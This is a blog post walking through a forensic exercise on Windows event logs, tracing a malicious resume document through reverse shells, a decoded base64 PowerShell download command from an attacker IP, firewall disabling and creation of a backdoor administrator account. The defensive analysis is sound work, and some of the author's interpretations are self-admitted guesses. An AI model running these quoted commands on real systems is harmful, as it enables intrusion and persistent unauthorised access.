DEV Community

chris
chris

Posted on • Updated on

Searching Windows Event logs for fun!

A friend of mine was trying out a new job for security responder and I found the exercise quite fun! So I tried to do it as well and here is the write up:

The task

The task came with a bunch of Windows logs files called evtx. We were supposed to look for malicious activity. Let the hunt begin!

Let the hunt begin!

Investigation

First, I had to figure out how to read those log files. I work on Linux and hadn't touched a Windows machine in years. So apparently there is a some scripts to make those files into XML that would be a start. Then, let's just grep our way through this whole mess.

To be able to read the logs, we converted them to XML using python-evtx:

for i in *.evtx;do python ../python-evtx/scripts/evtx_dump.py $i > $i.xml; done
Enter fullscreen mode Exit fullscreen mode

Without any information of what is wrong with the system, we decided to first look for possible IP addresses in the log files1 2. If the system was compromised, it would have definitly keep a trace or first inbound (like downloading a virus) or communication with the hacker or a server controlled by the hacker (experts call that command-and-control).

We got lucky and found something!

(.env) ~/.../logs/xml >>> grepip *.xml | sort | uniq -c
      3 Application.evtx.xml:6.4.5.2
      2 Microsoft-Windows-Kernel-PnP%4Configuration.evtx.xml:12.15.22.6
      2 Microsoft-Windows-Kernel-PnP%4Configuration.evtx.xml:12.5.10.0
      1 Microsoft-Windows-Kernel-PnP%4Configuration.evtx.xml:1.34.3.83
      1 Microsoft-Windows-Kernel-PnP%4Configuration.evtx.xml:9.8.16.0
      4 Microsoft-Windows-LiveId%4Operational.evtx.xml:08.07.09.10
     68 Microsoft-Windows-PowerShell%4Operational.evtx.xml:0.0.0.0
      6 Microsoft-Windows-PowerShell%4Operational.evtx.xml:127.0.0.1
      2 Microsoft-Windows-PowerShell%4Operational.evtx.xml:192.168.0.10
     10 Microsoft-Windows-PowerShell%4Operational.evtx.xml:192.168.74.136
     12 Microsoft-Windows-Sysmon%4Operational.evtx.xml:192.168.140.135
      1 Microsoft-Windows-Sysmon%4Operational.evtx.xml:2.2.0.0
      8 Microsoft-Windows-Sysmon%4Operational.evtx.xml:6.4.5.2
     17 Microsoft-Windows-Time-Service%4Operational.evtx.xml:0.0.0.0
     17 Microsoft-Windows-Time-Service%4Operational.evtx.xml:51.105.208.173
      2 Microsoft-Windows-Windows Defender%4Operational.evtx.xml:1.273.933.0
      1 Microsoft-Windows-WindowsUpdateClient%4Operational.evtx.xml:9.8.16.0
     12 Security.evtx.xml:127.0.0.1
     11 System.evtx.xml:0.0.0.0
      2 System.evtx.xml:12.15.22.6
      2 System.evtx.xml:12.5.10.0
     11 System.evtx.xml:51.105.208.173
      1 System.evtx.xml:8.16.7.5
      4 System.evtx.xml:9.8.16.0
Enter fullscreen mode Exit fullscreen mode

So clearly, not all of these are actual IP addresses, but some stuff seems to pop out, so let's pull the thread from there.

Let's look into one of those IP addresses: rg -F "192.168.140.135" -C 12. I output 12 lignes around the match to keep the entire log event from Windows. Here are the interesting bits:

<data name="parentcommandline">c:\programdata\eotxfaqd.exe 192.168.140.135 1337</data>
Enter fullscreen mode Exit fullscreen mode

And:

<Data Name="Image">C:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe</Data>
Enter fullscreen mode Exit fullscreen mode

Interesting pattern, right? So this is clearly a reverse shell. The program is probably running something like: nc 192.168.140.135 1337 to connect to an instance of Netcat running on the attacker's machine: nc -nvlp 1337. You the "I am in" they say in movies, that's that.

hacker cat hacking your computer

If we see that connection, it means that the attacker might had contact with the machine. This means that the attacker might have run a couple of classic reconnaissance commands like:

whoami
dir c:\
cmd.exe
powershell.exe
Enter fullscreen mode Exit fullscreen mode

Mayber the little malware has launched a prompt: cmd.exe or powershell.exe or even better: C:\Windows\System32\cmd.exe /c followed by a command. Which is... what we found!

Something like:

9940-<Data Name="UtcTime">2020-08-14 06:57:17.935</Data>
...
9951-<Data Name="User">WIN-XYZ\Bob</Data>
...
9960:<Data Name="ParentCommandLine">C:\Windows\System32\cmd.exe /c whoami
Enter fullscreen mode Exit fullscreen mode

Or:

10658-<Data Name="UtcTime">2020-08-14 06:57:45.989</Data>
...
10669-<Data Name="User">WIN-XYZ\Administrator</Data>
...
10678:<Data Name="ParentCommandLine">C:\Windows\System32\cmd.exe /c whoami
Enter fullscreen mode Exit fullscreen mode

This looks like a trace of a privilege escalation and access to the Administrator account but let's leave that for latter.

Why the full path matters? When running an attack, the attacking program may not have all environment configuration that would allow it to run just cmd.exe. So usually, it would be easier to call the cmd binary with it's full path. Moreover, if the exploitation is sequential, the attacker wants to send a one-liner like: C:\Windows\System32\cmd..exe /c whoami to immediately get the return through the break instead of needing to be connected to the machine.

Although we can find really cool things such as:

5626:<Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data>
5627-<Data Name="ParentCommandLine">c:\windows\system32\cmd.exe /c "powershell.exe -exec bYpaSs -EncodedCommand aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxADQAMAAuADEAMwA1ADoAOAAwADAAMAAvAHgAYwAuAGUAeABlACAALQBvAHUAdABmAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAHMAcABvAG8AbABcAGQAcgBpAHYAZQByAHMAXABjAG8AbABvAHIAXAB4AGMAXwAxADkAMgAuADEANgA4AC4AMQA0ADAALgAxADMANQBfADEAMwAzADcALgBlAHgAZQA="</Data>
Enter fullscreen mode Exit fullscreen mode

This command will execute a base64 encoded command with Powershell. It decodes to:

 i.w.r. .h.t.t.p.:././.1.9.2...1.6.8...1.4.0...1.3.5.:.8.0.0.0./.x.c...e.x.e. .-.o.u.t.f.i.l.e. .C.:.\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.s.p.o.o.l.\.d.r.i.v.e.r.s.\.c.o.l.o.r.\.x.c._.1.9.2...1.6.8...1.4.0...1.3.5._.1.3.3.7...e.x.e.
Enter fullscreen mode Exit fullscreen mode

This is means that the attacking software might have ordered the computer to download the virus. So we are looking at a kind of infection through a 3rd party medium like an email or a document which is called "dropper".

There are a lot of things and we need to sort out things and starting to establish a time frame.

Now, the log file sounds important, there are two events (twice the same) with the IP address we are tracking in the Windows Defender log fie:

1317-<Data Name="Threat Name">HackTool:Win32/Mimikatz.D</Data>
[...]
1328:<Data Name="Process Name">C:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe</Data>
Enter fullscreen mode Exit fullscreen mode

Mimikatz is a security program that allow to test a bunch of stuff on Windows. It is also used by malicious actors to steal credentials (for example) .

If we see those events in Windows Defender, it means that there were probably not successful. So let's keep looking.

5802-<Data Name="UtcTime">2020-08-14 06:51:03.932</Data>
[...]
5811:<Data Name="CommandLine">c:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe</Data>
5812-<Data Name="CurrentDirectory">C:\Program Files\LibreOffice\program\</Data>
5813-<Data Name="User">WIN-XYZ\Bob</Data>
[...]
5821-<Data Name="ParentImage">C:\Program Files\LibreOffice\program\soffice.bin</Data>
5822-<Data Name="ParentCommandLine">"C:\Program Files\LibreOffice\program\soffice.exe" "-o" "C:\Users\Bob\Desktop\resume2.odt" "-env:OOO_CWD=2C:\\Users\\Bob\\Desktop"</Data>
Enter fullscreen mode Exit fullscreen mode

This event found in Sysmon, so I guess the activity log file is much more interesting. It looks like a document called "resume2.odt" ran the exe file through a macro. That's interesting! It means that we might have a good clue on the infection vector: a malicious document, probably a resume.

Here, it's interesting, we have matches for resume.doc, resume.odt and resume2.odt.

There are two matches for resume.doc in Windows Defender logs and nowhere else at 6.50.01 on the 14/08/2020 tagged as exploit (precisely CVE-2017-0199). The logs says it "completed successfully". I don't know if that means the malware was blocked or if it ran. But Windows Defender says the threat is severe. So let's assume it was blocked.

Why is there no resume2.doc but resume2.odt? My guess here is that the user ignored the Windows Defender alert because 1) negligence or 2) was talking to the candidate which told the user to change to the open format (odt) hoping that Windows Defender would not match on that type of macro.

The matches for resume.odt are from 6.50.08, for resume2.odt from 6.50.47 and both found in the Sysmon logs.

Now ideally it would be interesting to see all events from 6:50:00 on the
14/08/2020. So, more. more. more regexes!

rg -e '<TimeCreated SystemTime="2020\-08\-14 06:[0-9]{2}:\d{2}\.\d{6}">' Microsoft-Windows-Sysmon%4Operational.evtx.xml -C 19 | rg -e "cmd.exe\s" -C 19
rg -e '<TimeCreated SystemTime="2020\-08\-14 06:[0-9]{2}:\d{2}\.\d{6}">' Microsoft-Windows-Sysmon%4Operational.evtx.xml -C 19 | rg -e "powershell.exe\s"
Enter fullscreen mode Exit fullscreen mode

What seems here is that there are two infection vectors. One being C:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe and the other C:\ProgramData\HboaocQw.exe 192.168.140.135 1337. Could it be that each resume was another file and dropped different malwares?

We find a lot of interesting commands and a couple of commands stand out (and which we haven't mentioned yet):

  • 2020-08-14 06:53:36.952: WIN-XYZ\Bob runs3
C:\Windows\System32\cmd.exe /c "import-module .\Invoke-PrivescCheck.ps1 Add-Type -AssemblyName System.ServiceProcess"
Enter fullscreen mode Exit fullscreen mode

Through:

C:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe
Enter fullscreen mode Exit fullscreen mode

This means that the attacker might have got Administrator access through a local exploitation (that process is called privilege escalation).

  • 2020-08-14 06:54:42.697: WIN-JFGK50J52UP\Administrator runs
C:\Windows\System32\cmd.exe /c "netsh advfirewall firewall show rule name=all
Enter fullscreen mode Exit fullscreen mode

Through:

C:\ProgramData\HboaocQw.exe 192.168.140.135 1337
Enter fullscreen mode Exit fullscreen mode

This command allows the user the inspect the firewall configuration and probably start to pivot from that computer to another within a company network.

If you remember, earlier, I showed this line:

<Data Name="ParentCommandLine">C:\ProgramData\EOtXfaqD.exe 192.168.140.135 1337</Data>
Enter fullscreen mode Exit fullscreen mode

It seems that there is another malware installed there. We will try to look deeper into what happened during the privilege escalations attempts. It is possible that the attackers tried multiple techniques.

So we have a rough idea that the initial infection and inbound was between 6:50 and before 6:53 where we can see malicious activity already within the computer.

We have to go deeper

Let's dig into Windows Defender logs for that time frame to find unsuccessful tries:

rg -e '<TimeCreated SystemTime="2020\-08\-14 06:5[0-9]{1}:\d{2}\.\d{6}">' Microsoft-Windows-Windows\ Defender%4Operational.evtx.xml -C 19
Enter fullscreen mode Exit fullscreen mode

Matches:

582:<TimeCreated SystemTime="2020-08-14 06:50:01.878719"></TimeCreated>
[...]
597-<Data Name="Threat Name">Exploit:O97M/CVE-2017-0199</Data>

702:<TimeCreated SystemTime="2020-08-14 06:50:38.286343"></TimeCreated>
[...]
717-<Data Name="Threat Name">Trojan:Win64/Meterpreter.B</Data>

822:<TimeCreated SystemTime="2020-08-14 06:55:43.696354"></TimeCreated>
[...]
837-<Data Name="Threat Name">Behavior:Win32/Mikatz.gen!C</Data>

942:<TimeCreated SystemTime="2020-08-14 06:55:44.008844"></TimeCreated>
[...]
957-<Data Name="Threat Name">Behavior:Win32/Mikatz.gen!C</Data>

1182:<TimeCreated SystemTime="2020-08-14 06:55:55.932249"></TimeCreated>
[...]
1197-<Data Name="Threat Name">HackTool:Win32/Mimikatz.D</Data>
Enter fullscreen mode Exit fullscreen mode

There are no more events after 6:57 in Windows Defender. I cut some parts here as it was just Mimikatz detections. Our time frame is much more clearer based on
those detection:

  • 6:50 until 6:55: initial access and persistence
  • 6:55 until 6:57: privilege escalation and possible pivot (we don't know yet if the attacker managed to get access to other computers from this one)

So let's look for those intervals in Sysmon!

7177:<TimeCreated SystemTime="2020-08-14 06:54:30.611298"></TimeCreated>
[...]
7195-<Data Name="CommandLine">C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon</Data>

7257:<TimeCreated SystemTime="2020-08-14 06:54:31.031931"></TimeCreated>
[...]
7275-<Data Name="CommandLine">C:\ProgramData\HboaocQw.exe 192.168.140.135 1337</Data>

7297:<TimeCreated SystemTime="2020-08-14 06:54:31.037439"></TimeCreated>
[...]
7315-<Data Name="CommandLine">\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1</Data>

7360:<TimeCreated SystemTime="2020-08-14 06:54:37.340946"></TimeCreated>
[...]
7378-<Data Name="CommandLine">C:\Windows\System32\cmd.exe /c whoami

7488:<TimeCreated SystemTime="2020-08-14 06:54:42.701794"></TimeCreated>
[...]
7506-<Data Name="CommandLine">C:\Windows\System32\cmd.exe /c "netsh advfirewall firewall show rule name=all

7529:<TimeCreated SystemTime="2020-08-14 06:54:42.724337"></TimeCreated>
[...]
7547-<Data Name="CommandLine">netsh  advfirewall firewall show rule name=all</Data>

7656:<TimeCreated SystemTime="2020-08-14 06:54:56.148991"></TimeCreated>
[...]
7674-<Data Name="CommandLine">"C:\Windows\system32\netsh.exe" Advfirewall set allprofiles state off</Data>

7759:<TimeCreated SystemTime="2020-08-14 06:54:56.239628"></TimeCreated>
[...]
7777-<Data Name="CommandLine">C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent</Data>

7822:<TimeCreated SystemTime="2020-08-14 06:54:59.856335"></TimeCreated>
[...]
7840-<Data Name="CommandLine">"C:\Windows\system32\net.exe" user support Start123! /add</Data>

7948:<TimeCreated SystemTime="2020-08-14 06:55:03.696032"></TimeCreated>
[...]
7966-<Data Name="CommandLine">"C:\Windows\system32\net.exe" localgroup support administrators /add</Data>
Enter fullscreen mode Exit fullscreen mode

Svchost.exe seems to be something like systemctl for Linux where you can manipulate various services. Considering we are looking at privilege escalation, we can suppose that those are local exploitation attempts. Maybe exploiting svchost.exe to stop or start a specific services.

While connhost.exe seems to be the process to run a command prompt. I am not exactly sure what is going here, maybe an exploitation attempt to run another command prompt? Maybe the attacker got a visual connection with the target machine and wants another window? I am clueless here.

I truncated a lot of the findings, but there was another version of net.exe called net1 located in the /temp folder and exploits attempts were launched on both versions.

One thing interesting is that the attacker creates a support user account with the password Start123! then adds this user to the administrator groups. In that way, the attacker would be capable to connect directly to the computer without having to relaunch the attack and the reverse shell. It's called persistence.

We can see as well that the attacker deactivates the firewall rules.

Actually, here things start to get more complicated for me due to my limited knowledge of Windows Internals (I'll get there!). So, I think I will stop the investigation here and go read more about Windows Internals.

hacker cat

Wrapping up

To wrap up, we can take a couple of interesting findings here:

  • We detected the initial inbound and the persistence
  • We detected the privilege escalation too
  • Pivoting was unclear but was probable as the attacker got Administrative rights
  • Everything happened in less than 10 minutes, does it implies an automated process? Like a tool that hacked automatically?
  • Grep, grep, grep till the end of the world!

It was quite fun and I hope you enjoyed the read!


  1. Ripgrep (rg) is clone of grep written in Rust: https://github.com/BurntSushi/ripgrep 

  2. grepip is an alias for grep to catch IPv4 addresses: grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" 

  3. This is a publicly available privilege escalation script: https://github.com/itm4n/PrivescCheck 

Top comments (0)